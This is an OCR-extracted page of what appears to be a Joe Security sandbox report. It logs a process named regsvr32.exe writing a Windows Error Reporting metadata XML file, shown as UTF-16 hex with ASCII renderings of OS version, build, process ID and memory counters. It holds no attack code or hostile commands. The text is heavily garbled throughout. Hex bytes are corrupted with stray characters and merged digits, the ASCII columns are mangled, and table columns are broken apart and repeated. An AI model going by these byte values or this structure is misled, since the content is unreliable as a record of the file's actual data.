ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Offset

unknown 108

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

2

78

44

40

03 00 00 00 64 00 00
00 fc 06 00 00 04 00

00 00 e4 10 00 00 6¢
07 00 00 05 00 00 00
4 00 00 00 c8 27 00

00 06 00 00 00 a8 00
00 00 54 06 00 00 07
00 00 00 38 00 00 00
¢8 00 00 00 Of 00 00

00 54 05 00 00 00 01
00 00 Oc 00 00 00 00
1a 00 00 8a 8b 00 00
15 00 00 00 ec 01 00
00 50 18 00 00 16 00
00 00 98 00 00 00 3c
1a 00 00

ff fe

3c 00 3f 00 78 00 6d

00 6¢ 00 20 00 76 00
6500 72 00 73 00 69
00 6f 00 6e 00 3d 00

2200 3100 2e 00 30
00 22 00 20 00 65 00
6e 00 63 00 6f 00 64
00 69 00 6e 00 67 00
3d 00 22 00 55 00 54
00 46 00 2d 00 31 00
36 00 22 00 3f 00 3e

00

0d 00 0a 00

3c 00 57 00 45 00 52
00 52 00 65 00 70 00
6f 00 72 00 74 00 4d
00 65 00 74 00 61 00
64 00 61 00 74 00 61
00 3e 00

0d 00 0a 00

09 00

3c 00 4f 00 53 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 49
00 6e 00 66 00 6f 00
7200 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 69 00 6e
00 64 00 6f 00 77 00
73 00 4e 00 54 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 3e
00 31 00 30 00 2e 00
30 00 3c 00 2f 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 4e
00 54 00 56 00 65 00
7200 73 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 0042 00 75 00 69
00 6¢ 00 64 00 3e 00
31003700 310033
00 34 00 3c 00 2f 00
4200 75 00 69 00 6¢
00 64 00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address
el | I success or wait 1 6EF1497A
D — <.

success or wait 1 6EF1497A
<.?.x.m.l. .v.ers.i.o.n.=". success or wait 1 6EF1497A
1..0.". .e.n.c.0.d.i.n.g.=.".
UT.F.-16."2>.

success or wait 1 6EF1497A
<W.E.R.R.e.p.o.r.t.M.e.t.a. success or wait 1 6EF1497A
data>.

success or wait 1 6EF1497A

success or wait 1 6EF1497A
<.0.S.V.ers..o.nlnfo.r. success or wait 1 6EF1497A
m.a.t.i.o.n.>.

success or wait 1 6EF1497A

success or wait 2 6EF1497A
<W.i.n.d.o.w.s.N.T.V.e.r.s. success or wait 1 6EF1497A
i.0.n.>.1.0...0.
<./W.i.n.d.o.w.
s.N.T.V.e.r.s.i.o.n.>.

success or wait 1 6EF1497A

success or wait 2 6EF1497A
<.B.u.i.l.d.>.1.7.1.3.4.<./.B. success or wait 1 6EF1497A
wild.>.

success or wait 1 6EF1497A

success or wait 2 6EF1497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
82

4

2

62

4

2

134

44

4

2

Value

3c 00 50 00 72 00 6f
00 64 00 75 00 63 00
74 00 3e 00 28 00 30
00 78 00 33 00 30 00
29 00 3a 00 20 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 20
00 31 00 30 00 20 00
50 00 72 00 6f 00 3¢
00 2f 00 50 00 72 00
6f 00 64 00 75 00 63
00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 45 00 64 00 69
00 74 00 69 00 6f 00
6e 00 3e 00 50 00 72
00 6f 00 66 00 65 00
7300 73 00 69 00 6f
00 6e 00 61 00 6¢ 00
3c 00 2f 00 45 00 64
00 69 00 74 00 69 00
6f 00 6e 00 3e 00

0d 00 0a 00

09 00

3c 0042 00 75 00 69
00 6¢ 00 64 00 53 00
7400 72 00 69 00 6e
00 67 00 3e 00 31 00
37 0031003300 34
00 2e 00 31 00 2e 00
61 00 6d 00 64 00 36
00 34 00 66 00 72 00
65 00 2e 00 72 00 73
00 34 00 5f 00 72 00
65 00 6¢ 00 65 00 61
00 73 00 65 00 2e 00
31 00 38 00 30 00 34
00 31 00 30 00 2d 00
3100 38 00 30 00 34
00 3c 00 2f 00 42 00
7500 69 00 6¢ 00 64
0053 00 74 00 72 00
69 00 6e 00 67 00 3e
00

0d 00 0a 00

09 00

3c 00 52 00 65 00 76
00 69 00 73 00 69 00
6f 00 6e 00 3e 00 31
00 3c 00 2f 00 52 00
65 00 76 00 69 00 73
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00 4d 00 75 00 6¢
00 74 00 69 00 70 00
72 00 6f 00 63 00 65
00 73 00 73 00 6f 00
72002000 46 00 72
00 65 00 65 00 3c 00
2f 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00

0d 00 0a 00

09 00

Ascii
<.P.r.o.d.u.c.t.>.(.0.x.3.0.).

.. .W.i.n.d.o.w.s. .1.0. .P.r.
o0.<./P.ro.d.u.c.t>.

<.E.d.iti.o.n.>.P.ro.fe.s.
s..o.n.al.</E.d.i.tio.n.>.

<.B.u.ild.S.trin.g.>.1.7.
1.34..1.am.d.6.4fre..
rs.4._rele.as.e..1.8.0.
4.1.0.-.1.8.0.4.<./.B.u.i.lL.d.
S.trin.g.>.

<.R.e.w.is.ion>1l</R.e.

v.i.s.i.o.n>.

<.F.lLav.o.r.>.M.u.l.tip.r.
o.c.e.s.s.o.r. .F.re.e</F.
l.a.v.o.r>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

2

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 64 3c004100720063 <.Ar.c.h.ite.cture>X. successorwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 0068 0069007400 6.4.<./Ar.ch.ite.ctu.r.

65006300740075 e.>.
00 72 00 65 00 3e 00
58 00 36 00 34 00 3¢
00 2f 00 41 00 72 00
63 00 68 00 69 00 74
00 65 00 63 00 74 00
7500 72 00 65 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 34 3c004c 00430049 <.L.C..D.>.1.0.3.3. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00440032 003100 <./L.C..D.>.

30 00 33 00 33 00 3c
00 2f 00 4c 00 43 00
49 00 44 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 46 3c 00 2f 00 4f 00 53 <./.0.S.V.e.rs..o.n.l.n.f.o. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 0056 0065007200 r.m.a.t.i.o.n.>.

7300 69 00 6f 00 6e
00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c 0050007200 6f <.P.r.o.c.e.s.s.l.nfo.rm.a. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 0063 0065007300 ti.o.n.>.

73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 30 3c 005000690064 <.P.i.d.>.4.7.8.0.<./.P.i.d.>. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 3e 00 34 00 37 00

38 00 30 00 3c 00 2f
00 50 00 69 00 64 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 70 3c0049006d 0061 <..m.a.g.e.N.a.m.e.>.r.e.g. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 0067 0065 004e 00 s.v.r.3.2..e.x.e.

61 00 6d 00 65 00 3e <./l.m.a.g.e.N.am.e.>.
00 72 00 65 00 67 00
7300 76 00 72 00 33
00 32 00 2e 00 65 00
78 00 65 00 3c 00 2f
00 49 00 6d 00 61 00
67 00 65 00 4e 00 61
00 6d 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 90 3c0043006d0064 <.C.m.d.L.i.n.e.S..g.n.a.t.u success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 4c 00 69 00 6e 00 .r.e.>.0.0.0.0.0.0.0.0.

65 005300690067 <./.C.m.
006e 0061007400 d.L.i.ne.S.ig.n.ature.>.
7500 72 00 65 00 3e

00 30 00 30 00 30 00

30 00 30 00 30 00 30

00 30 00 3c 00 2f 00

43 00 6d 00 64 00 4c

00 69 00 6e 00 65 00

53 00 69 00 67 00 6e

00 61 00 74 00 75 00

72 00 65 00 3e 00
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
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Offset

unknown 4

unknown 2

unknown 42

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 88

unknown 4

unknown 2

unknown 72

Length Value

0d 00 0a 00

09 00

3¢ 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 39 00 39 00 32
00 38 00 3c 00 2f 00
5500 70 00 74 00 69
00 6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 7500 65 00 73
00 74 00 3d 00 22 00
33 003300320022
00 20 00 68 00 6f 00
7300 74 00 3d 00 22
00 33 00 34 00 34 00
30 00 34 00 22 00 3e
00 31 00 3c 00 2f 00
57 00 6f 00 77 00 36
00 34 00 3e 00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
7200 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 31
00 30 00 30 00 35 00
30 00 37 00 36 00 34
00 38 00 3c 00 2f 00
50 00 65 00 61 00 6b
00 56 00 69 00 72 00
74 00 75 00 61 00 6¢
00 53 00 69 00 7a 00
65 00 3e 00

0d 00 0a 00

09 00

3¢ 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 31 00
30 00 30 00 34 00 39
00 39 00 34 00 35 00
36 00 3c 00 2f 00 56
00 69 00 72 00 74 00
7500 61 00 6¢ 00 53
00 69 00 7a 00 65 00
3e 00

Ascii

<.U.p.t.i.m.e.>.9.9.2.8.
</.Up.tim.e.>.

<W.o.w.6.4.

<./W.o.w.6.4.>.

<..p.t.E.n.a.b.l.e.d.>.0.</.
l.p.t.E.n.a.b.l.e.d.>.

<.P.ro.cee.s.s.V.m.Ln.fo.r.
m.a.t.i.o.n.>.

<.P.eak.V.irtualS.z.
e.>.1.0.0.5.0.7.6.4.8.
<./P.e.
ak\V.irtualS.ize>.

<.V.irtualS.ize>.1.0.
0.4.9.9.4.5.6.<./.V.irtu.a.
.S.i.z.e>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

1

2

1

1

8

1

Source

Address Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 74 3c 005000610067 <.P.a.g.e.F.au.ltC.o.un.t. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00650046 006100 >.2.2.5.5.

7500 6¢ 00 7400 43 <. .P.a.g.e.F.a.u.l.
00 6f 00 75 00 6e 00  t.C.o.u.n.t.>.

74 00 3e 00 32 00 32

00 35 00 35 00 3c 00

2f 00 50 00 61 00 67

00 65 00 46 00 61 00

75 00 6¢ 00 74 00 43

00 6f 00 75 00 6e 00

7400 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 96 3c 005000650061 <.P.e.a.kW.o.rk.in.g.S.e.t success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 6b 00 57 00 600 .S.i.z.e.>.7.4.2.6.0.4.8.

7200 6b 00 69 00 6e <./.P.
0067 0053006500 e.a.kW.o.rk.i.n.g.S.e.t.S.i
7400530069007a z.e.>.
00 65 00 3e 00 37 00

34 00 32 00 36 00 30

00 34 00 38 00 3c 00

2f 00 50 00 65 00 61

00 6b 00 57 00 6f 00

72 00 6b 00 69 00 6e

00 67 00 53 00 65 00

7400 53 00 69 00 7a

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 80 3c0057006f0072 <.W.o.rk.in.g.S.etS.i.z.e. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 6b 00 69 00 6e 00 >.7.2.8.2.6.8.8.

67 005300650074 <./W.o0.rk.i.
00530069007a00 n.g.S.e.tS.ize>.
65 00 3e 00 37 00 32

00 38 00 32 00 36 00

38 00 38 00 3c 00 2f

00 57 00 6f 00 72 00

6b 00 69 00 6e 00 67

00 53 00 65 00 74 00

53 00 69 00 7a 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 114 3c00510075006f <.Q.u.o.ta.P.eak.P.a.g.e. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 0074 0061005000 d.

65006100 6b 0050 P.o.0lU.s.a.ge>1.3338.
0061 00 67 00 6500 4.8.

64 0050 00 6f 00 6f <..Q.u.0.t.a.P.e.ak.P.ag.
006c 0055007300 e.d.P.o.o.l.lUs.ag.e.>.

61 00 67 00 65 00 3e

00 31 00 33 00 33 00

38 00 34 00 38 00 3c

00 2f 00 51 00 75 00

6f 00 74 00 61 00 50

00 65 00 61 00 6b 00

50 00 61 00 67 00 65

00 64 00 50 00 6f 00

6f 00 6¢ 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown

ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
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Offset Length

unknown 98

unknown 4

unknown 2

unknown 124

unknown 4

unknown 2

unknown 108

unknown 4

unknown 2

unknown 76

unknown 4

unknown 2

Value

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 31
00 33 00 33 00 38 00
34 00 38 00 3c 00 2f
00 51 00 75 00 6f 00
7400 61 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 4e
00 6f 00 6e 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00
6¢ 00 55 00 73 00 61
00 67 00 65 00 3e 00
32 003100350031
00 32 00 3c 00 2f 00
51 00 75 00 6f 00 74
00 61 00 50 00 65 00
61 00 6b 00 4e 00 6f
00 6e 00 50 00 61 00
67 00 65 00 64 00 50
00 6f 00 6f 00 6¢ 00
5500 73 00 61 00 67
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 4e 00
6f 00 6e 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 32
00 31 00 32 00 34 00
30 00 3c 00 2f 00 51
00 75 00 6f 00 74 00
61 00 4e 00 6f 00 6e
00 50 00 61 00 67 00
65 00 64 00 50 00 6f
00 6f 00 6¢ 00 55 00
73 00 61 00 67 00 65
00 3e 00

0d 00 0a 00

09 00

3¢ 0050 00 61 00 67
00 65 00 66 00 69 00
6¢ 00 65 00 55 00 73
00 61 00 67 00 65 00
3e 00 34 00 38 00 30
00 38 00 37 00 30 00
34 00 3c 00 2f 00 50
00 61 00 67 00 65 00
66 00 69 00 6¢ 00 65
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

Ascii Completion
<.Q.u.o.t.a.P.a.g.e.d.P.0.0. success or wait 1
lUs.a.g.e>.1.3.3.8.4.8.
<./.Q.
u.o.t.a.P.a.g.e.d.P.o.0.l.U.s
.a.g.e>.
success or wait 1
success or wait &
<.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait 1
a.
g.e.d.P.o.0l.Us.a.g.e>.2.
1.5.1.2.
<./.Q.u.o.t.a.P.e.a.k.N.
o.n.P.a.g.e.d.P.o.0.l.U.s.a.
g.e>.
success or wait 1
success or wait &
<.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait 1
P.
0.0.l.Us.a.g.e.>.2.1.2.4.0.
<.
/.Q.u.o.t.a.N.o.n.P.a.g.e.d.
P.o.0.l.Us.a.g.e.>.
success or wait 1
success or wait &
<.P.a.g.efileU.s.a.g.e.> success or wait 1
4.8.0.8.7.0.4.<./.P.a.g.e.f.i.
l.e.U.s.a.g.e>.
success or wait 1
success or wait &

Count Address

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
